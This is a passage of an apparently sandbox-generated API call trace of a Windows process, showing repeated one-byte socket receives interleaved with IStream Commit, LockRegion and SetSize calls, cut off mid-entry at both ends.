buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.415] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.415] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.415] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.415] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.416] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.416] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xe, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0xf, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x11, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x12, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x13, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x16, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x17, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.416] IStream:LockRegion (This=0x2e7fa0, libOffset=0x19, cb=0x0, dwLockType=0x0) returned 0x0 [0057.416] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1a, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1b, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1e, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1f, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x21, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x23, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x27, cb=0x0, dwLockType=0x0) returned 0x0 [0057.417] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.417] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.417] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.417] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.417] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.417] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.417] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.417] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.417] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.418] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.418] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.418] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.418] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.419] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.419] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.419] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.419] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.420] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.420] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.420] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.420] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.421] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.421] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.421] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.421] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.421] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.421] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.421] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.421] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.421] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, 